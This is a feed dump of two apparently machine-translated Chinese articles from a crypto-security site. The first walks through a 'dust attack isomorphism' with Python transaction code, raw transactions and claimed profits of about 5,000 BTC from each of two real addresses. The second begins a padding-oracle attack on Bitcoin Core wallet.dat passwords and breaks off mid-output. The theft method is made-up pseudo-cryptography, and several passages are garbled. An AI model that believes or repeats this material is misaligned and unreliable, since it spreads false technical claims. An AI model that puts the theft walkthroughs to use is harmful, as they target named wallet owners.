«CRYPTO DEEP TECH» https://cn.cryptodeeptech.ru/ 密碼分析和數據金融安全服務 Fri, 01 Mar 2024 10:21:51 +0000 ru-RU hourly 1 https://cn.cryptodeeptech.ru/wp-content/uploads/2022/07/cropped-favicon7-32x32.png «CRYPTO DEEP TECH» https://cn.cryptodeeptech.ru/ 32 32 DUST ATTACK同構確認區塊鏈交易總量10,000 BTC https://cn.cryptodeeptech.ru/dustattack/ Fri, 01 Mar 2024 10:21:48 +0000 https://cn.cryptodeeptech.ru/?p=2173

在本文中,我們將討論一個廣泛的主題:“灰塵攻擊”,稱為:"Dusting Attack""Crypto Dust"。或許每個加密貨幣用戶或大量BTC、ETH幣的持有者都會在他們的加密貨幣錢包上替換掉微不足道的少量satoshi幣的收據,這個收據被偽裝成"Donate",但實際上它是一個完整的數學精煉系統,用於取得清除資產負債表上錢包中所有累積的硬幣。揭示「灰塵攻擊」系統和所有陷阱的目標是受到2024 年 1 月 8 日發表的一篇文章的啟發和促使的。在全球加密經濟學網站CoinDesk上

DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
https://www.coindesk.com/markets/2024/01/08/mysterious-12m-bitcoin-transaction-to-satoshi-nakamoto-sparks-speculations/
DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
pic.twitter.com/w34kjnAHPJ
DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
d7db4f96a4059c8906b953677ce533493d7b9da0f854a21b99f5772910dd0a31
DUST ATTACK同構確認區塊鏈交易總量10,000 BTC

雖然每個人都想知道到底是誰將其發送27 BTC到流行的比特幣錢包[Satoshi Nakamoto],但我們將研究兩個不同的灰塵攻擊示例,以便闡明這種操縱的所有複雜性以及流行的加密貨幣比特幣的用戶和持有者可能面臨的風險。


我們看另一篇文章,以TXI D 為例,其中進行了大量的灰塵攻擊。

DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
https://dust-attack.blogspot.com
DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
1d6580dcd979951bd600252b741c22a3ea8e605e43168f8452c68915c3ea2bf3

文章稱,這筆交易是利用粉塵攻擊系統進行的 BTC 幣竊盜案中數量最多的一次。


讓我們關心一下【2022年7月-8月】期間成功進行粉塵攻擊的兩個比特幣地址,總金額為:10,000 BTC


範例1

DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
https://www.blockchain.com/explorer/addresses/btc/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i

例子2

DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
https://www.blockchain.com/explorer/addresses/btc/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

要進行粉塵攻擊,礦工對同構的確認起著重要作用,因為 從2022年到2024年,許多加密貨幣服務和硬體錢包都在積極對抗灰塵攻擊。

目前,在自己的冷錢包上獨立創建塵埃交易的方法已經廣泛流行。讓我們以第 1 號為例,進入「建立 Dust 交易」部分

在 Windows 10 上安裝Python 3.12.1

https://youtube.com/watch?v=q1jHMJZwseg%3Fsi%3DbboY9EARIo8JRqcp

連結到 gif 內容 #01


下載原始碼,安裝get-pip.py  並執行install.py安裝軟體包:

https://youtube.com/watch?v=nvdl_BmReTk%3Fsi%3DIXY5_C32pD6D4IKH

連結到 gif 內容 #02


讓我們生成自己的冷錢包

https://youtube.com/watch?v=upsUBJp-WYw%3Fsi%3Di6MceKae_nh7w3t9

連結到 gif 內容 #03


餘額及支付交易

儲值您的冷錢包餘額:1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK

DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
餘額:0.02786906 BTC 或比特幣單位:2786906 satoshi

讓我們保存餘額補充付款中的交易TXID哈希,以進一步構建Merkle Tree

DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
Merkle 樹從下到上填充,其中對每個資料塊套用哈希,並將結果值寫入樹的葉子。更高層級的區塊由兩個子區塊的雜湊值總和填滿。重複這個過程,直到獲得最高值或 Merkle Root。Bitcon區塊鏈使用SHA256雜湊函數。其他區塊鏈可能使用不同的加密原理來創建梅克爾樹。

餘額補充的支付哈希值

DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
https://btc1.trezor.io/tx/0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5

讓我們複製TXID:0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5因為 這是補充冷錢包餘額的雜湊值:1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK ,然後開啟Python腳本createrawtransaction.py的源代碼,並在第7行將值更改為您的資料。

dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5")

為了保護您新建立的冷錢包:1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
,我們始終關閉您電腦上的網路。這對於您 PC 上執行的第三方應用程式洩漏私鑰的安全性是必要的。此過程將需要幾分鐘。建立灰塵交易 RawTX 時停用網際網路。

DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
DUST ATTACK同構確認區塊鏈交易總量10,000 BTC

一旦您確定第 5 行中的互聯網已停用,請插入私鑰 WIF

pk = PrivateKey.parse("L1k********************************************MdrTj")

在第 12 行中,新增冷錢包餘額的總額。在我們的例子中,這個金額是2786906 satoshi

tx_in._value = 2786906

從灰塵攻擊中獲利。

我們選擇一個比特幣錢包,如果礦工確認同構,我們最終會從中獲利。由於我們正在考慮範例 1,因此在本例中我們選擇比特幣錢包位址:14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i

DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
https://www.blockchain.com/explorer/addresses/btc/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i

在第 9 行中,我們需要指出灰塵攻擊的比特幣地址

send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i"

灰塵量將為555 satoshi,在第 15 行我們指出了這個數量。

    TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),

接下來,我們考慮費用(礦工佣金),該金額將為226 聰

555 + 226 = 781 satoshi

我們還需要考慮將資金退回到冷錢包:1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK,因為 我們為灰塵攻擊分配了781 satoshi ,從冷錢包餘額的總補充金額2786906 satoshi中減去此金額

2786906 - 781 = 2786125 satoshi 

在第 16 行中,我們指出了退回冷錢包的資金金額:1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK

    TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize())

我們透過按某個鍵或選項來執行createrawtransaction.py腳本«F5» : Run / Run Module F5

DUST ATTACK同構確認區塊鏈交易總量10,000 BTC

運行腳本:createrawtransaction.py

from io import BytesIO
from secp256k1 import *
from sighash import *

pk = PrivateKey.parse("L1k********************************************MdrTj")
pk.address()
dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5")
dust_index = 0
send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i"
tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 2786906
tx_ins = [ tx_in ]
tx_outs = [
    TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),
    TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()

print("\n--------------------------------------\n")
print("My work Bitcoin Address:  " + pk.address())
print("Address for Getting Rich: " + send_dust)
print("\n--------------------------------------\n")
print(tx_in._script_pubkey)
print(tx_in.script_sig)
print("\n--------------------------------------\n")
print("RawTX for performing isomorphism:")
print(tx.serialize().hex())
print("\n--------------------------------------\n")

結果:

--------------------------------------

My work Bitcoin Address:  1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
Address for Getting Rich: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i

--------------------------------------

OP_DUP OP_HASH160 b'2581997c24562e316ffa3163e63d2db26442cc9a' OP_EQUALVERIFY OP_CHECKSIG 
b'304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a' 

--------------------------------------

RawTX for performing isomorphism:
0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800

--------------------------------------
https://youtube.com/watch?v=qhNU-7g4sAU%3Fsi%3DZoZrij7Tw7tiNsRP

連結到 gif 內容 #04.1


我們已經收到了RawTX灰塵交易,現在讓我們進入 驗證交易部分以確保交易已正確建立。複製RawTX並將其貼上到驗證交易和其他腳本輸入欄位中

用於執行同構的RawTX:

0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800
DUST ATTACK同構確認區塊鏈交易總量10,000 BTC

ScriptSig 同構

我們的灰塵攻擊的目標是從我們發送555 satoshi 的比特幣錢包中獲取最大利潤。為此,我們進入ScriptSig 同構部分,根據https://safecurves.cr.yp.to/ladder.html的理論,將粉塵交易轉換為同構(兩筆交易必須經過礦工確認)。第一筆交易是灰塵交易,其中發送了少量的555 聰,第二筆交易是第一筆交易的同構,其中發生了從灰塵攻擊受害者的餘額中反向轉移資金的情況。

https://youtube.com/watch?v=hmYmUA2oMwA%3Fsi%3D6CrhwZi5_AXvo9Ek

連結到 gif 內容 #05.1


我們將在CryptoDeepTools儲存庫中發布所得的同構

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/isomorphism.txt

根據創建灰塵交易部分描述的理論 ,我們需要將74786964新同構交易中的所有現有值更改為txid 比特幣錢包中當前所做的所有值:14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i,我們對其進行少量灰塵攻擊共555 條[ send_dust ]


讓我們透過指定 print(tx.serialize().hex()[+10:+74]) 來執行腳本,並將整個 txid 清單轉換為雜湊流格式

https://youtube.com/watch?v=8FeCuytdDm0%3Fsi%3DFwcwpn_ng0IqaxXF

連結到 gif 內容 #06


收到所有串流雜湊格式後,我們需要透過取代txid來儲存整個列表,為此,請在Notepad++中開啟檔案: isomorphism.txt,按按鍵:write: 74786964替換為:\ntxid\n
CTRL + F

讓我們進入CryptoDeepTools並在Notepad++ 中執行替換功能,因為 我們已經收到了txid列表,現在我們將從列表中GitHub複製整個流式哈希格式列表並將其貼上到文件中:isomorphism.txt


https://youtube.com/watch?v=CVyy3L4p-jY%3Fsi%3DtYc43pnwGzU3ZNKh

連結到 gif 內容 #08


取代檔案中的公鑰:isomorphism.txt

同構是一個新的交易,我們需要指示我們想要進行交易以獲得最大利潤的比特幣錢包的公鑰來代替價值7075626b6579 。為此,請前往PublicKey.txt檔案 並執行 python 腳本:pubtoaddr.py以確保公鑰是否對應於灰塵攻擊的位址。

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/PublicKey.txt

然後我們需要將所有現有值7075626b6579 更改為檔案中的值:PublicKey.txt(所有操作也都在Notepad++中完成) 


https://youtube.com/watch?v=_dwT4Y4lRKM%3Fsi%3DYu7tzFFILX6OmZp_

連結到 gif 內容 #10


接收所有利潤的比特幣地址:

為了轉移所有累積的比特幣,我們需要產生一個全新的比特幣地址,格式如下(SegWit):

36ZfWyL5NGvC2u54QENyUgDzTgNyHe1xpE

為了取得hash160比特幣位址,我們需要RedeemScript使用 python 腳本createrawtransaction.py進行解碼

print(Tx.get_address_data(send_dust)['script_pubkey'])

收到hash160新的比特幣地址後,(SegWit)我們需要Notepad++中開啟檔案 isomorphism.txt 並將其中的值替換為收到的值 68617368313630hash160

我們已經新增了創建新交易所需的所有必要值,以便從同構中獲利,現在我們需要透過按鍵選擇檔案 isomorphism.txt 上的所有文字:將 所有CTRL + A內容合併為一行後,我們需要按鍵,CTRL + J結果我們得到一條有空格的長線。我們透過按鍵來刪除空格:CTRL + F替換空格。結果,我們得到一個新的RawTX來完成交易。


https://youtube.com/watch?v=NdDowxhQvsg%3Fsi%3Du_ccUDlNzDto_oOt

連結到 gif 內容 #12


任何交易都必須經過礦工確認才能將RawTX發送到「廣播交易」部分欄位要提交礦工確認申請,您必須仔細確保付款創建正確;為此,請轉到「驗證交易」部分並其他腳本


DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
https://coinbin.ru/#verify

灰塵襲擊帶來的硬幣利潤為:

5000.00141092 BTC // $209364,284.08 美元


DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
https://www.coinbase.com/converter/btc/usd

例子2

DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
https://www.blockchain.com/explorer/addresses/btc/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

讓我們用另一個例子繼續灰塵攻擊。我們將使用與冷錢包相同的地址:1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK例如2號,我們將充值餘額:0.033532 BTC或比特幣單位:33532 satoshi

DUST ATTACK同構確認區塊鏈交易總量10,000 BTC

讓我們保存餘額補充付款中的交易TXID哈希,以進一步構建Merkle Tree


餘額補充的支付哈希值

DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
https://btc1.trezor.io/tx/655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5

讓我們複製TXID:655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5因為 這是補充冷錢包餘額的雜湊值:1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK ,然後開啟Python腳本createrawtransaction.py的源代碼,並在第7行將值更改為您的資料。

dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5")

更改第 5 行並插入私鑰 WIF

pk = PrivateKey.parse("L1k********************************************MdrTj")

在第 12 行中,新增冷錢包餘額的總額。在我們的例子中,這個金額是33532 satoshi

tx_in._value = 33532

從灰塵攻擊中獲利。

我們選擇一個比特幣錢包,如果礦工確認同構,我們最終會從中獲利。由於我們正在考慮範例 2,因此在本例中我們選擇比特幣錢包位址:15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
https://www.blockchain.com/explorer/addresses/btc/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

在第 9 行中,我們需要指出灰塵攻擊的比特幣地址

send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt"

灰塵量將為555 satoshi,在第 15 行我們指出了這個數量。

TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),

接下來,我們考慮費用(礦工佣金),該金額將為226 聰

555 + 226 = 781 satoshi

我們還需要考慮將資金退回到冷錢包:1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK,因為 我們為灰塵攻擊分配了781 satoshi,從補充冷錢包餘額33532 satoshi的總量中減去此金額

33532 - 781 = 32751 satoshi 

在第 16 行中,我們指出了退回冷錢包的資金金額:1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK

TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize())

我們透過按某個鍵或選項來執行createrawtransaction.py腳本«F5» :Run / Run Module F5

DUST ATTACK同構確認區塊鏈交易總量10,000 BTC

運行腳本:createrawtransaction.py

from io import BytesIO
from secp256k1 import *
from sighash import *

pk = PrivateKey.parse("L1k********************************************MdrTj")
pk.address()
dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5")
dust_index = 0
send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt"
tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 33532
tx_ins = [ tx_in ]
tx_outs = [
    TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),
    TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()

print("\n--------------------------------------\n")
print("My work Bitcoin Address:  " + pk.address())
print("Address for Getting Rich: " + send_dust)
print("\n--------------------------------------\n")
print(tx_in._script_pubkey)
print(tx_in.script_sig)
print("\n--------------------------------------\n")
print("RawTX for performing isomorphism:")
print(tx.serialize().hex())
print("\n--------------------------------------\n")

結果:

--------------------------------------

My work Bitcoin Address:  1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
Address for Getting Rich: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

--------------------------------------

OP_DUP OP_HASH160 b'662367a3d78a4b0fcbb3020b3d724981d10934f6' OP_EQUALVERIFY OP_CHECKSIG b'3045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a'

--------------------------------------

RawTX for performing isomorphism:
0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800

--------------------------------------
https://youtube.com/watch?v=wTVEjUD8OFQ%3Fsi%3D6iHzf9vKXJ6Nppu9

連結到 gif 內容 #04.2


我們已經收到了RawTX灰塵交易,現在讓我們進入 驗證交易部分以確保交易已正確建立。複製RawTX並將其貼上到驗證交易和其他腳本輸入欄位中

用於執行同構的RawTX:

0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800
DUST ATTACK同構確認區塊鏈交易總量10,000 BTC

ScriptSig 同構

我們的灰塵攻擊的目標是從我們發送555 satoshi 的比特幣錢包中獲取最大利潤。為此,我們進入ScriptSig 同構部分,根據https://safecurves.cr.yp.to/ladder.html的理論,將粉塵交易轉換為同構(兩筆交易必須經過礦工確認)。第一筆交易是灰塵交易,其中發送了少量的555 聰,第二筆交易是第一筆交易的同構,其中發生了從灰塵攻擊受害者的餘額中反向轉移資金的情況。

https://youtube.com/watch?v=6Bzm5eNnVr4%3Fsi%3DnggHXVx0RwOCF8xE

連結到 gif 內容 #05.2


我們將在CryptoDeepTools儲存庫中發布所得的同構

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt/isomorphism.txt

根據創建灰塵交易部分描述的理論,我們需要將74786964新同構交易中的所有現有值更改為txid比特幣錢包中當前所做的所有值:15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt,我們對其進行少量灰塵攻擊共555 條[ send_dust ]


讓我們透過指定 print(tx.serialize().hex()[+10:+74]) 來執行腳本,並將整個 txid 清單轉換為雜湊流格式

https://youtube.com/watch?v=ELoHPHKsORQ%3Fsi%3DmsY0Fhz8-11mOn5J

連結到 gif 內容 #07


收到所有串流雜湊格式後,我們需要透過取代txid來儲存整個列表,為此,請在Notepad++中開啟檔案: isomorphism.txt,按按鍵:write: 74786964替換為:\ntxid\n
CTRL + F

讓我們進入CryptoDeepTools並在Notepad++中執行替換功能,因為 我們已經收到了txid列表,現在我們將從列表中GitHub複製整個流式哈希格式列表並將其貼上到文件中:isomorphism.txt


https://youtube.com/watch?v=9eMSR9pk_to%3Fsi%3DtmuTTIdVdXg-blbU

連結到 gif 內容 #09


取代檔案中的公鑰:isomorphism.txt

同構是一個新的交易,我們需要指示我們想要進行交易以獲得最大利潤的比特幣錢包的公鑰來代替價值7075626b6579 。為此,請前往PublicKey.txt檔案並執行 python 腳本:pubtoaddr.py以確保公鑰是否對應於灰塵攻擊的位址。

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt/PublicKey.txt

之後我們需要將所有現有值7075626b6579更改為檔案中的值:PublicKey.txt(所有操作也是在Notepad++中完成) 


https://youtube.com/watch?v=pWyHKhOY1s0%3Fsi%3DHUqmvP0IGSdnMeKu

連結到 gif 內容 #11


接收所有利潤的比特幣地址:

為了轉移所有累積的比特幣,我們需要產生一個全新的比特幣地址,格式如下(SegWit):

3GsC42MbUrtGU4un6QHbXkyjKVawyvm6ac

為了取得hash160比特幣位址,我們需要RedeemScript使用 python 腳本createrawtransaction.py進行解碼

print(Tx.get_address_data(send_dust)['script_pubkey'])

收到hash160新的比特幣地址後,(SegWit)我們需要Notepad++中開啟檔案 isomorphism.txt 並將其中的值替換為收到的值 68617368313630hash160

我們已經新增了創建新交易所需的所有必要值,以便從同構中獲利,現在我們需要透過按鍵選擇檔案 isomorphism.txt 上的所有文字:將 所有CTRL + A內容合併為一行後,我們需要按鍵,CTRL + J結果我們得到一條有空格的長線。我們透過按鍵來刪除空格:CTRL + F替換空格。結果,我們得到一個新的RawTX來完成交易。


https://youtube.com/watch?v=Uf9jWF-saS0%3Fsi%3DGGpvQ3dG3DNKY3at

連結到 gif 內容 #13


任何交易都必須經過礦工確認才能將RawTX發送到廣播交易部分字段要提交礦工確認申請,您必須仔細確保付款創建正確;為此,請轉到驗證交易部分並其他腳本

DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
https://coinbin.ru/#verify

灰塵襲擊帶來的硬幣利潤為:

5001.51473912 BTC // $215831966,02 美元


DUST ATTACK同構確認區塊鏈交易總量10,000 BTC
https://www.coinbase.com/converter/btc/usd

參考:


本資料是為 CRYPTO DEEP TECH入口網站創建的 ,旨在確保資料和橢圓曲線加密 secp256k1的財務安全,防止比特幣加密貨幣 中的 弱ECDSA 簽章 。該軟體的創建者不對材料的使用負責。


來源

電報:https://t.me/cryptodeeptech

YouTube:https://www.youtube.com/@cryptodeeptech

影片素材:https://dzen.ru/video/watch/65be9256df804947fbd96fd7

來源:https://cryptodeep.ru/dustattack


DUST ATTACK同構確認區塊鏈交易總量10,000 BTC

 密碼分析

]]>
Padding Oracle Attack 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊 https://cn.cryptodeeptech.ru/padding-oracle-attack-on-wallet-dat/ Fri, 01 Mar 2024 10:15:23 +0000 https://cn.cryptodeeptech.ru/?p=2169

在本文中,我們將使用網路安全資源[CAPEC™]中的常見攻擊模式分類。「Padding Oracle Attack」最早於 2012 年在Wallet.dat上討論(在漏洞管理和威脅分析平台「VulDB」上)最受歡迎的Bitcoin Core錢包的問題影響了AES Encryption Padding文件中的 工作 Wallet.dat

此攻擊的技術細節已知:

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊
https://en.wikipedia.org/wiki/Padding_oracle_attack

如果目標系統洩漏了解密密文時是否發生填充錯誤的訊息,攻擊者可以在不知道解密金鑰的情況下有效解密資料。 傳輸此類資訊的目標系統成為填充預言機,攻擊者可以使用該預言機在不知道解密金鑰的情況下有效地解密數據,向填充預言機發出平均調用次數(其中 是128*bb文區塊)。 除了執行解密之外,攻擊者還可以使用填充預言機來建立有效的密文(即執行加密),而所有這些都無需知道加密金鑰。


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

如果加密訊息在解密前未經過身份驗證以確保其有效性,則任何密碼系統都可能容易受到填充預言機攻擊,然後將填充錯誤訊息傳遞給攻擊者。 例如,這種攻擊方法可用於破壞驗證碼系統或解密/修改儲存在用戶端物件(例如隱藏欄位或 cookie)中的狀態資訊。 


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

這種攻擊方法是對密碼系統的旁道攻擊,利用執行不力的解密過程中洩漏的資料來徹底破壞密碼系統。告訴攻擊者在解密過程中是否發生填充錯誤的單一訊息,無論其形式為何,都足以讓攻擊者破解密碼系統。這些資訊可能以明確完成錯誤訊息、返回空白頁、甚至伺服器需要更長的時間來回應(定時攻擊)的形式出現。


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

這種攻擊可以跨域模式發起,攻擊者可以利用跨域資訊洩漏從與受害者互動的目標系統/服務的填充預言中獲取少量資訊。


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

在對稱加密中,填充預言機攻擊可以在 AES-256-CBC 加密模式(比特幣核心使用)中執行,其中「預言機」(來源)通訊加密訊息的填充是否正確或是否正確。不是。 此類資料可能允許攻擊者在不知道加密金鑰的情況下使用預言機金鑰透過預言機解密訊息 。


Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊
填入 Wallet.dat 上的 Oracle 攻擊流程

讓我們進入實際部分,透過漏洞執行一系列操作,以便在此過程中填寫Wallet.dat檔案中的oracle並最終找到我們需要的二進位格式的密碼。

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊
Capture The Flag (CTF)

早些時候,研究人員和錦標賽參與者CTF公開了被駭的 [ wallet.dat 2023 ] 比特幣錢包:1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b,金額為: 44502.42 美元 // 比特幣: 1.17461256 BTC

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊
https://btc1.trezor.io/address/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

讓我們點擊比特幣核心版本 22.1的鏈接releases

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊
https://github.com/bitcoin/bitcoin/releases

索引 /bin/bitcoin-core-22.1/


../ test.rc1/ 2022 年 11 月 8 日 18:08 – test.rc2/ 2022 年 11 月 28 日 09:39 – SHA256SUMS 2022 年 12 月 14 日 17:59 2353 1256 月日17:59 10714 SHA256SUMS.ots 2022 年 12 月 14 日 17:59 538 比特 幣-22.1-aarch64-linux-gnu.tar.gz 2022 年 12 月 14 日 17:59 3456476-45034 比特 幣-gnueabihf.tar.gz 14- 2022 年 12 月 18:00 30424198 比特幣-22.1-osx-signed.dmg 2022 年 12 月 14 日 18:00 14838454 比特幣-21 . 14 日18:00 27930578 比特幣-22.1-powerpc64-linux -gnu.tar.gz 2022 年12月14日18:00 3999102 比特幣-22.1-powerpc64le-linux-gnu.tar.gz 18:00 38867643 比特幣-22.1-riscv64-linux-gnu.tar.gz 2022 年 12 月 14 日 18:01 34114511 比特幣-22.1-win64-setup.exe1 34114511比特幣-22.1-win64-setup.exe 2022 年 18 月-22.1-win64.zip 2022 年 12 月 14 日 18:01 34263968 比特 幣-22.1-x86_64-linux -gnu.tar.gz 2022年12月14日18:01 35964880 . 12月14日18:01 8122372 比特幣 -22.1.torrent 2022年12月14日18:01 49857



安裝比特幣核心版本 22.1

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

一定!重啟QT程式 // 重啟比特幣核心

按鍵:Ctrl + Q

您需要重新啟動程式QT才能同步新的wallet.dat

Padding Oracle 對流行的 Bitcoin Core 錢包的 Wallet.dat 密碼解密的攻擊

讓我們使用 getaddressinfo 指令檢查比特幣錢包:  1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

getaddressinfo "address"

Return information about the given bitcoin address.
Some of the information will only be present if the address is in the active wallet.

讓我們運行命令:

getaddressinfo 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

結果:

{
  "address": "1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b",
  "scriptPubKey": "76a9147774801e52a110aba2d65ecc58daf0cfec95a09f88ac",
  "ismine": true,
  "solvable": true,
  "desc": "pkh([7774801e]02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f)#qzqmjdel",
  "iswatchonly": false,
  "isscript": false,
  "iswitness": false,
  "pubkey": "02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f",
  "iscompressed": true,
  "ischange": false,
